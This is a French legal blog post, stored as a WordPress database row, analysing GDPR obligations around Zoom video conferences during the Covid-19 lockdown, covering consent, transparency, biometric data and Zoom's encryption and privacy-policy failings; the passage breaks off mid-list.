(672,5,'2020-04-17 18:08:55','2020-04-17 17:08:55','<!-- wp:paragraph -->\n<p><strong>Regard Sur Les Nombreuses Considérations Avant L’utilisation D’un Mode De Visio-Conférence</strong>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Analysons\nles principales conséquences juridiques liées à l’utilisation de l’application de\nvidéo-conférence gratuite Zoom devenue très populaire qui est passée de 20 à\n200 millions d’utilisateurs en l’espace de quelques jours, propulsée par les\nbesoins du confinement et télétravail imposés par la pandémique du Covid-19.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout\nd’abord, de manière schématique, quatre catégories de données sont concernées\navec partage plus ou moins volontaire&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Les données des organisateurs, </li><li>Les données des invités,</li><li>Les données des tiers mentionnés durant la visio-conférence,</li><li>Les données concernant les mineurs.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Parmi elles, deux catégories de données\n:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Les données personnelles répondent à la définition relativement large de <strong>l’art.\n4</strong> [_<a href=\"https://awallon.com:15001/d/s/546473809629196514/4CyJONSTRVux8h1S1hlAemABjAOhOhVp-Xb6AlDaplgc_\">RGPD04</a>_] </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li>Les données dites de catégorie spéciale ou données sensibles, qui en\nprincipe ne doivent pas être traitées sauf exception. Le traitement de ces données\nsont strictement encadrés car sujet à une protection accrue telle que définie à\n<strong>l’art. 9</strong> [_<a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\">RGPD09</a>_] </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Les données biométriques\net autres données de caractère spéciale traitées à l’occasion de l’utilisation\ndes vidéo-conférences.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les données traitées\npar un enregistrement vidéo peuvent-être considérées comme des données ‘biométriques’\nlorsque les images peuvent en être détournées pour être utilisables à fin d’identification\ndes personnes.<strong></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Selon la\nJurisprudence de la Cour Européenne de Justice, C-101/01 (6 novembre 2003)&nbsp;:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Données personnelles</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>«&nbsp;L\'opération consistant\nà faire référence, sur une page Internet, à diverses personnes et à les\nidentifier soit par leur nom, soit par d\'autres moyens, par exemple leur numéro\nde téléphone ou des informations relatives à leurs conditions de travail et à\nleurs passe-temps, constitue un «traitement de données à caractère personnel,\nautomatisé en tout ou en partie,» au sens de l\'article&nbsp;3,\nparagraphe&nbsp;1, de la directive 95/46 /CE du Parlement européen et du\nConseil, du 24 octobre 1995, relative à la protection des personnes physiques à\nl\'égard du traitement des données à caractère personnel et à la libre\ncirculation de ces données .”</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Les données personnelles de catégories spéciales\nou sensitives.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>«&nbsp;L\'indication\ndu fait qu\'une personne s\'est blessée au pied et est en congé de maladie\npartiel constitue une donnée à caractère personnel relative à la santé au sens\nde l\'article&nbsp;8, paragraphe&nbsp;1, de la directive 95/46.&nbsp;»</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cet arrêt a été rendu en application de la Directive, antérieure à l’entrée en vigueur du RGDP mais reste applicable. Les données précédemment notamment de santé, répertoriées comme des données ‘sensibles’, sont désormais des données de catégorie spéciale <strong>art. 9</strong> <strong>[_<a rel=\"noreferrer noopener\" href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\" target=\"_blank\">RGPD09</a>_]</strong>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ce\npoint a été rappelé par une décision récente du <a href=\"https://forum.technopolice.fr/assets/uploads/files/1582802422930-1090394890_1901249.pdf\">Conseil\nd’Etat en date du 27 Février 2020</a> concernant la reconnaissance faciale dans\nles écoles.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Selon le CE&nbsp;: <em>(51)\n</em><em>Les données à caractère personnel qui sont, par\nnature, particulièrement sensibles du point de vue des libertés et des droits\nfondamentaux méritent une protection spécifique, car le contexte dans lequel\nelles sont traitées pourrait engendrer des risques importants pour ces libertés\net droits. Ces données à caractère personnel devraient comprendre les données à\ncaractère personnel qui révèlent l\'origine raciale ou ethnique, étant entendu\nque l\'utilisation de l\'expression «origine raciale» dans le présent règlement\nn\'implique pas que l\'Union adhère à des théories tendant à établir l\'existence\nde races humaines distinctes. Le traitement des photographies ne devrait pas\nsystématiquement être considéré comme constituant un traitement de catégories\nparticulières de données à caractère personnel, étant donné que celles-ci <strong>ne\nrelèvent de la définition de données biométriques que lorsqu\'elles sont\ntraitées selon un mode technique spécifique permettant l\'identification ou\nl\'authentification unique d\'une personne physique</strong>. De telles données à\ncaractère personnel ne devraient pas faire l\'objet d\'un traitement, à moins que\ncelui-ci ne soit autorisé dans des cas spécifiques prévus par le présent\nrèglement, compte tenu du fait que le droit d\'un État membre peut prévoir des\ndispositions spécifiques relatives à la protection des données visant à adapter\nl\'application des règles du présent règlement en vue de respecter une\nobligation légale ou pour l\'exécution d\'une mission d\'intérêt public ou\nrelevant de l\'exercice de l\'autorité publique dont est investi le responsable\ndu traitement. Outre les exigences spécifiques applicables à ce traitement, les\nprincipes généraux et les autres règles du présent règlement devraient s\'appliquer,\nen particulier en ce qui concerne les conditions de licéité du traitement. Des\ndérogations à l\'interdiction générale de traiter ces catégories particulières\nde données à caractère personnel devraient être explicitement prévues, entre\nautres lorsque la personne concernée donne son <strong>consentement explicite ou\npour répondre à des besoins spécifiques, en particulier lorsque le traitement\nest effectué dans le cadre d\'activités légitimes de certaines associations ou\nfondations ayant pour objet de permettre l\'exercice des libertés fondamentales.</strong></em><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En\nGrande Bretagne : <a href=\"https://uk.practicallaw.thomsonreuters.com/D-014-7572?transitionType=Default&amp;contextData=(sc.Default)&amp;firstPage=true&amp;bhcp=1\">Murray\nv Big Picture</a> §80 </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Il\nest dès lors permis de considérer que les images traitées à l’occasion d’une visio-conférence\nrentrent dans le cadre des données biométriques. La possibilité d’éventuels\ntests de reconnaissance faciale n’est pas inclus. De plus, des utilisateurs ne révélant\npas leur identité en utilisant des pseudonymes peuvent être identifiés par la\ndivulgation de leur image.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Par\nconséquent, les images ou vidéos, identifiant les participants en fonction de leur\nappartenance raciale, ethnique, religieuse, philosophique ou syndicale sont à considérer\ncomme entrant dans la catégorie des données à caractère spéciale. De même,\nrentrent dans la catégorie des données spéciales celles ayant trait à l’état de\nsanté ou les données des enfants mineurs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Voire\nla recommandation de la <a href=\"https://www.cnil.fr/sites/default/files/atoms/files/reconnaissance_faciale.pdf\">CNIL</a>\nen matière de Reconnaissance faciale et <a href=\"https://forum.technopolice.fr/assets/uploads/files/1582802422930-1090394890_1901249.pdf\">l’arrêt récent du conseil d’Etat du 27 février\n2020</a>. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Respect des principes de licéité art. 5 <a>[_</a><a href=\"https://awallon.com:15001/d/s/546473812416311539/Fj-SiC6a-IBw6ig8V960YMMlZtQWvEw3-0L5Az1Gplgc_\">RGPD05</a>_]\n</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les données doivent être collectées doivent répondre aux exigences de licéité énumérées à <strong>l’art. 5</strong> <strong>[_<a href=\"https://awallon.com:15001/d/s/546473812416311539/Fj-SiC6a-IBw6ig8V960YMMlZtQWvEw3-0L5Az1Gplgc_\">RGPD05</a>_].</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Les données à caractère personnel\ndoivent être :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a) <em>traitées\nde manière licite, loyale et transparente au regard de la personne concernée (<strong>licéité,\nloyauté, transparence</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un privacy notice doit être produit définissant\nla base légale de traitement et garantissant les obligations de transparences définies\ndans l’article 13, comme explicité plus en avant.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>b) collectées\npour des finalités déterminées, explicites et légitimes, et ne pas être\ntraitées ultérieurement d\'une manière incompatible avec ces finalités ; le\ntraitement ultérieur à des fins archivistiques dans l\'intérêt public, à des\nfins de recherche scientifique ou historique ou à des fins statistiques n\'est\npas considéré, conformément à l\'article 89, paragraphe 1, comme incompatible\navec les finalités initiales (<strong>limitation des finalités</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout enregistrement de la vidéo-conférence\net ses utilisations ultérieures doivent être notifiés aux participants et ses\nbases légales justifiées.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>c)\nadéquates, pertinentes et limitées à ce qui est nécessaire au regard des\nfinalités pour lesquelles elles sont traitées (<strong>minimisation des données</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les données collectées doivent être réduites\nau stricte nécessaire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>d) exactes\net, si nécessaire, tenues à jour; toutes les mesures raisonnables doivent être\nprises pour que les données à caractère personnel qui sont inexactes, eu égard\naux finalités pour lesquelles elles sont traitées, soient effacées ou rectifiées\nsans tarder (<strong>exactitude</strong></em>);</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Si des données sont conservées, elles\nseront soumises à l’obligation de mise à jour pour respecter l’exactitude des\ninformations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>e) <em>conservées\nsous une forme permettant l\'identification des personnes concernées pendant une\ndurée n\'excédant pas celle nécessaire au regard des finalités pour lesquelles\nelles sont traitées; les données à caractère personnel peuvent être conservées\npour des durées plus longues dans la mesure où elles seront traitées exclusivement\nà des fins archivistiques dans l\'intérêt public, à des fins de recherche\nscientifique ou historique ou à des fins statistiques conformément à l\'article\n89, paragraphe 1, pour autant que soient mises en oeuvre les mesures techniques\net organisationnelles appropriées requises par le présent règlement afin de\ngarantir les droits et libertés de la personne concernée <strong>(limitation de la\nconservation</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La durée de conservation doit être définie\net communiquée aux intervenants. Les enregistrements, s’ils existent, ne\npeuvent dépasser le délai fixé. Les archivages devant mettre au point des accès\nlimités et sécurisés lorsqu’ils ne sont plus justifiés.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>f) traitées de\nfaçon à garantir une sécurité appropriée des données à caractère personnel, y\ncompris la protection contre le traitement non autorisé ou illicite et contre\nla perte, la destruction ou les dégâts d\'origine accidentelle, à l\'aide de\nmesures techniques ou organisationnelles appropriées (<strong>intégrité et\nconfidentialité</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La sécurité des vidéo-conférences et de leurs\nenregistrements ou accès ultérieurs sont l’affaire de l’organisateur qui doit s’assurer\nque le prestataire de service rempli bien sa mission conformément aux\nobligations du RGDP. Ceci inclus la transmission par voie d’encryptage excluant\nles transferts vers des pays tiers ne représentant pas une protection adéquate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>2. Le\nresponsable du traitement est responsable du respect du paragraphe 1 et est en\nmesure de démontrer que celui-ci est respecté (<strong>responsabilité</strong>).</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ce\npoint est très important car comme exposé infra, la responsabilité de l’organisateur\nde la vidéo-surveillance peut être engagée pour non-respect du règlement ou accès\nnon autorisé aux données personnelles, ‘distress’ ou perte de contrôle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>La détermination de la finalité du traitement</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout traitement de données doit répondre à une finalité légitime telle qu’énumérée à l’<strong>art. 6 [_</strong><a href=\"https://awallon.com:15001/d/s/546473817457864974/9_SaB4sD4ZbF_BahmiIcElgM0SeGzjyY-KL.g8maplgc_\"><strong>RGPD06</strong></a><strong>_] </strong>En matière de visio-conférence, le traitement pourra être, soit considéré comme relevant d’un intérêt légitime – avec nécessité de procéder aux tests en trois parties – soit une demande de consentement préalable sera indispensable. Le motif de traitement devra être consigné par le contrôleur le cas échéant sur son registre des traitements <strong>art. 30 [_</strong><a href=\"https://awallon.com:15001/d/s/546474494982665927/7bfN18_k4apJzxqD_sDoa5tS0519LBaB-CrvAcAKtlgc_\"><strong>RGPD30</strong></a>_] et mentionné dans le privacy notice. Il faut rappeler qu’en matière de consentement, celui-ci peut être retranché à tout moment avec le risque d’invalider la licéité de tout enregistrement conservé.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Sur le consentement</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le <strong>paragraphe 11) de</strong> <strong>l’art. 4 [_</strong><a href=\"https://awallon.com:15001/d/s/546473809629196514/4CyJONSTRVux8h1S1hlAemABjAOhOhVp-Xb6AlDaplgc_\"><strong>RGPD04</strong></a><strong>_]</strong> définit le consentement comme <em>« toute manifestation de volonté, <strong>libre, spécifique, éclairé et univoque</strong> par laquelle la personne concernée accepte, par une déclaration ou par un <strong>acte positif clair</strong>, que des données à caractère personnel la concernant fassent l’objet d’un traitement</em> ». </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En outre, <strong>l’art. 7 [_</strong><a href=\"https://awallon.com:15001/d/s/546473823059358010/dF8swi-ycXEJOythcYdwoZ1jGi52TLmI-hr9AuXuplgc_\"><strong>RGPD07</strong></a><strong>_]</strong>, relatif aux conditions applicables au consentement, dispose : </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>« <em>1. Dans les cas où le\ntraitement repose sur le consentement, le responsable du traitement est en\nmesure de démontrer que la personne concernée a donné son consentement au\ntraitement de données à caractère personnel la concernant. &nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>2. Si le consentement de\nla personne concernée est donné dans le cadre d\'une déclaration écrite qui\nconcerne également d\'autres questions, la demande de consentement est présentée\nsous une forme qui la distingue clairement de ces autres questions, sous une\nforme compréhensible et aisément accessible, et formulée en des termes clairs\net simples. Aucune partie de cette déclaration qui constitue une violation du\nprésent règlement n\'est contraignante. / (…) Au moment de déterminer si le\nconsentement est donné librement, il y a lieu de tenir le plus grand compte de\nla question de savoir, entre autres, si l\'exécution d\'un contrat, y compris la\nfourniture d\'un service, est subordonnée au consentement au traitement de\ndonnées à caractère personnel qui n\'est pas nécessaire à l\'exécution dudit contrat.</em> ».</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Un consentement explicite, et informé, est requis des participants à la vidéo-conférence lorsque les données sont collectées avec précision de l’enregistrement ou toutes diffusions totale ou partielle ultérieures, y compris copies d’écrans (screenshots) des meetings. Rappelons que, s’agissant de données biométriques capables d\'identifier des individus, données de catégorie spéciale <strong>art. 9-2 a)</strong> - ceci concerne les données des participants et de toutes autres données personnelles traitées lors de la visio-conférence <strong>art. 9</strong> <strong>[_<a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\">RGPD09</a>_] -</strong> les consentements devront être répertoriés au registre des traitement conformément à <strong>l’art. 30 [_</strong><a href=\"https://awallon.com:15001/d/s/546474494982665927/7bfN18_k4apJzxqD_sDoa5tS0519LBaB-CrvAcAKtlgc_\"><strong>RGPD30</strong></a>_]. La finalité de traitement des données des personnes non présentes devra être justifiée distinctement.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li>Certains participants peuvent souhaiter utiliser des pseudonymes pour une\nraison qui leur appartient et peuvent ne pas souhaiter être exposé au grand\npublic. Une alternative doit leur être proposée.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Obligation de transparence – art. 13 [_</strong><a href=\"https://awallon.com:15001/d/s/546474032199938723/6QAGUnfh5Lso2IERmO_35PfDu-WFS-Lp--7HAWgyqlgc_\"><strong>RGPD13</strong></a><strong>_] </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ainsi\nque mentionné plus avant, l’organisateur de la visio-conférence ou le ‘host’ se\ndoit de communiquer en toute transparence les règles et cadre de traitement des\ndonnées, avant la collecte et fournir, au préalable, aux participants :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En\nréalité, il semblerait que de nombreuses applications de visio-conférences manquent\ncruellement de transparence. L\'hôte dispose de multiples capacités et prérogatives\ntechniques qui sont la plupart du temps inconnues aux autres participants\ntelles que l\'enregistrement et leurs diffusions ultérieures. L’<strong>art. 13 [_</strong><a href=\"https://awallon.com:15001/d/s/546474032199938723/6QAGUnfh5Lso2IERmO_35PfDu-WFS-Lp--7HAWgyqlgc_\"><strong>RGPD13</strong></a><strong>_] </strong>requiert&nbsp;de fournir à la\npersonne concernée l’ensemble de ces informations :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>l\'identité et les\ncoordonnées du responsable du traitement et, le cas échéant, du représentant du\nresponsable du traitement;</em></li><li><em>les coordonnées du délégué à\nla protection des données, le cas échéant;</em></li><li><em>les finalités du traitement\nauquel les données personnelles sont destinées ainsi que la base juridique du\ntraitement;</em></li><li><em>lorsque le traitement est\nbasé sur <strong>l\'art. 6, paragraphe 1, point f [_</strong></em><a href=\"https://awallon.com:15001/d/s/546473817457864974/9_SaB4sD4ZbF_BahmiIcElgM0SeGzjyY-KL.g8maplgc_\"><strong><em>RGPD06</em></strong></a><strong><em>_] </em></strong><em>les intérêts légitimes\npoursuivis par le responsable du traitement ou par un tiers;</em></li><li><em>les destinataires ou\ncatégories de destinataires des données personnelles, le cas échéant;</em></li><li><em>le cas échéant, le fait que\nle responsable du traitement a l\'intention de transférer des données à caractère\npersonnel vers un pays tiers ou une organisation internationale et l\'existence\nou l\'absence d\'une décision d\'adéquation de la Commission, ou dans le cas de\ntransferts visés aux <strong>art. 46 </strong>[_</em><a href=\"https://awallon.com:15001/d/s/546474562060073206/wCc5NNfuVGtZCEDxxz6BStB9yee9JWnD-pb5gNUiulgc_\"><em>RGPD46</em></a><em>_] ou <strong>47 [_</strong></em><strong><a href=\"https://awallon.com:15001/d/s/546474565138692367/ai8ZRfn61YIW-lWc0mQFwXg7c-vpOcqi-574A812ulgc_\"><em>RGPD47</em></a></strong><strong><em>_]</em></strong><em> ou <strong>49 [_</strong></em><strong><a href=\"https://awallon.com:15001/d/s/546474569236527405/d3Ss3HULlIGAgfmZOgnP6CNOPXpnNIGb-UL-gP4Wulgc_\"><em>RGPD49</em></a></strong><strong><em>_]</em></strong><em> paragraphe 1, deuxième\nalinéa, référence aux garanties appropriées ou appropriées et aux moyens\npermettant d\'en obtenir une copie ou lorsque celles-ci ont été mises à\ndisposition.</em></li><li>Les droits des participants en vertu des <strong>art. 14 [_</strong><a href=\"https://awallon.com:15001/d/s/546474033709888180/NZ1hg0XLRX1r_mANS3X08rd_LhFLNvCT-yLIgdT6qlgc_\"><strong>RGPD14</strong></a><strong>_]</strong> , <strong>art 15</strong> <strong>[_</strong><a href=\"https://awallon.com:15001/d/s/546474036744467150/dpQYWhIjP2q8K4dCb7E2HguyWsMe9rH5-H7NAm1Oqlgc_\"><strong>RGPD15</strong></a><strong>_]</strong> et notamment leur droit de\nrectification ou rétractation du consentement, leur droit de porter plainte\ndevant l’autorité administrative doivent également leur être rappelés </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>En\nsus des informations visées au paragraphe 1, le responsable du traitement fournit,\nau moment de l\'obtention des données à caractère personnel, aux participants,\nles informations supplémentaires suivantes nécessaires pour garantir un\ntraitement équitable et transparent :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>la période pendant laquelle les données personnelles seront stockées ou, si\ncela n\'est pas possible, les critères utilisés pour déterminer cette période;<ul><li>l\'existence du droit de\ndemander au responsable du traitement l\'accès et la rectification ou\nl\'effacement des données personnelles ou la limitation du traitement concernant\nla personne concernée ou de s\'opposer au traitement ainsi que le droit à la\nportabilité des données;</li></ul><ul><li>lorsque le traitement est\nbasé sur <strong>l\'art. 6</strong> <strong>[_</strong><strong><a href=\"https://awallon.com:15001/d/s/546473817457864974/9_SaB4sD4ZbF_BahmiIcElgM0SeGzjyY-KL.g8maplgc_\">RGPD06</a></strong><strong>_]</strong> paragraphe 1, point a), ou sur <strong>l\'art.\n9</strong> <strong>[_</strong><strong><a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\">RGPD09</a></strong><strong>_]</strong> paragraphe 2, point a), l\'existence\ndu droit de retirer le consentement à tout moment, sans affecter la licéité du\ntraitement basé sur le consentement avant son retrait;</li></ul><ul><li>le droit de déposer une\nplainte auprès d\'une autorité de contrôle;</li></ul><ul><li>si la fourniture de données\nà caractère personnel est une exigence légale ou contractuelle, ou une exigence\nnécessaire pour conclure un contrat, ainsi que si la personne concernée est\ntenue de fournir les données à caractère personnel et les conséquences\npossibles de la non-fourniture de ces données;</li></ul><ul><li>l\'existence d\'une prise de\ndécision automatisée, y compris le profilage, visée à <strong>l\'art. 22</strong> <strong>[_</strong><strong><a href=\"https://awallon.com:15001/d/s/546474473260365314/Hwg6NIl6VN1xY3w84zHV2sUe1MlmQPAP-gbVgu-Kqlgc_\">RGPD22</a></strong><strong>_]</strong> paragraphes 1 et 4, et, au moins\ndans ces cas, des informations significatives sur la logique impliquée, ainsi\nque la signification et les conséquences envisagées d\'une telle le traitement\nde la personne concernée.</li></ul></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Lorsque le responsable du\ntraitement a l\'intention de poursuivre le traitement des données à caractère\npersonnel à une fin autre que celle pour laquelle ces données ont été\ncollectées, le responsable du traitement fournit à la personne concernée, avant\nce traitement ultérieur, des informations sur cette autre fin et toute autre\ninformation pertinente visée au paragraphe 2.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les paragraphes 1, 2 et 3 ne\ns\'appliquent pas lorsque et dans la mesure où la personne concernée dispose\ndéjà des informations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un avis de confidentialité\ndoit être remis au moment de la collecte des données, c\'est-à-dire avant l\'heure\nà laquelle les invités entrent en réunion.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les périodes de conservation\ndes données doivent être clarifiées et communiquées.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L\'exigence de limitation de\nla finalité signifie qu\'il doit être clair sur l\'avis de confidentialité qui\naccède aux données, dans quel but spécifique. Le partage de données avec\nFacebook était contraire au RGPD. Même si le développeur Zoom a modifié cela,\nles utilisateurs doivent mettre à jour leur application.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ces données ne doivent pas\nêtre utilisées à d\'autres fins que celles prévus telles que la formation à la\nreconnaissance faciale sans le consentement des intéressés. Le host est\nresponsable du respect de ces principes et notamment des traitements ultérieurs\npar Zoom.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le privacy policy de Zoom a\nsoulevé des craintes justifiées&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://zoom.us/privacy\" target=\"_blank\" rel=\"noreferrer noopener\">Zoom\'s privacy policy&nbsp;</a> claims the right to collect and store personal data\nand share it with third parties such as advertisers.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Jusqu’à ce qu’il soit modifié durant le week-end, pré-daté\nau 18 mars </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>The company&nbsp;</em><em><a href=\"https://zoom.us/privacy?zcid=1231\" target=\"_blank\" rel=\"noreferrer noopener\">updated its privacy policy</a>&nbsp;on Sunday after users reported\nconcerns, and&nbsp;<a href=\"https://twitter.com/ericsyuan/status/1244682869974290433\" target=\"_blank\" rel=\"noreferrer noopener\">on Monday</a>, Eric S. Yuan, chief executive and founder of Zoom, posted a\nlink on Twitter to a company blog item about the policy. <a href=\"https://www.nytimes.com/2020/03/30/technology/new-york-attorney-general-zoom-privacy.html\">NYTimes</a></em></li><li><em>In\na statement for this article, the company said it took “its users’ privacy,\nsecurity and trust extremely seriously,” and had been “working around the clock\nto ensure that hospitals, universities, schools and other businesses across the\nworld can stay connected and operational.”</em><em></em></li><li><em>“We\nappreciate the New York attorney general’s engagement on these issues and are\nhappy to provide her with the requested information,” the statement added.</em></li><li><em>Zoom <strong>privacy\nnotice</strong> grants access to data even though for people who have not a Zoom\naccount</em></li><li><em>Zoom’s privacy policy gives the company rights to collect\npersonal data of people regardless of whether they have a Zoom account. This\ndata they might collect on non-Zoom customers might include their physical\naddress, debit card information and even what device they are using.</em><em></em></li><li><em>They keep the\nright to collect and share information with unspecified third parties in\npresent and in the future.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Privacy by design ou Privacy Enhanced Technology (PET)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’application\nZoom comporte bien quelques garde-fous de protection mais ils sont désactivés\npar défaut. Aucun traitement ne doit pouvoir être opéré sans transparence ni consentement\nexprimé par acte positif des sujets concernés. En l’occurrence il n’est pas très\nclair quand un enregistrement est effectué ni ses utilisations ultérieures.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’application\ncomportait une option de traçage d’attention ou <em>’attention tracking’</em> qui\npermettait au host de tracer l’attention des participants s’ils venaient à\nvisiter d’autres sites ou basculaient sur d’autres fenêtres. Cette option trop\nintrusive a été désactivée.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Encore\nune fois, une notice de privacy devrait éclairer le consentement requis de la\npart des participants. Il n’est pas activé par défaut sachant que les données biométriques,\nde santé ou relatives à des mineurs sont des catégories spéciales nécessitant\nun consentement explicite.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>A small <strong>red\nbutton when recording</strong> - can be easily missed. There is an option of request\nrecording consent at the beginning – what about the ones joining in in the\ncourse of the meeting? The consent request is OFF by default. <strong>Privacy by\ndesign</strong>: should be ON by default</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Obligation de sécurité</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Limiter\nl’accès aux données pour sécuriser le contenu et primordial.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Absence de chiffrage ou encryptage</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le\nchiffrage des communications ou encryptage faisait partie des promesses de Zoom\nmais s’est avéré limité un chiffrage de type browser TLS et non pas UDP comme\nl’a révélé le <a href=\"https://theintercept.com/2020/03/31/zoom-meeting-encryption/\"><em>Intercept</em></a><em>.</em> Zoom s’en est excusé et a reconnu\nle manquement. Or, un encryptage end to end est obligatoire pour s’assurer\nde la protection des données d’autant qu’ils peuvent être de catégorie spéciale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or, il s’avère\nque les données seraient stockées sur Amazon S3 en texte clair et ne seraient pas\nmême chiffrées. Par conséquent, tout employé ou développeur de Zoom ayant accès\naux compartiments S3 pour les activités de développement et de maintenance\npourrait les intercepter et se les accaparer pour tels traitements éventuels.\nIl n’y a donc aucune véritable confidentialité sur ces enregistrements. Ce problème\nest loin d’être négligeable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La seule barrière entre l’enregistrement privé et public\nest la sécurité du pare-feu Zoom et des autres éléments qu\'ils ont mis en\nplace. Une fois que ceux-ci ont été violés, par exemple par une attaque de\nphishing, les seaux S3 sont un jeu équitable. Un système de cryptage décent sur les\nenregistrements stockés aurait été indispensable ici.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>a Zoom spokesperson wrote, “Currently, it is not possible to enable E2E encryption for Zoom video meetings. Zoom video meetings use a combination of TCP and UDP. TCP connections are made using TLS and UDP connections are encrypted with AES using a key negotiated over a TLS connection.”</em></li><li><em>On 4/3, Citizen Lab&nbsp;<a 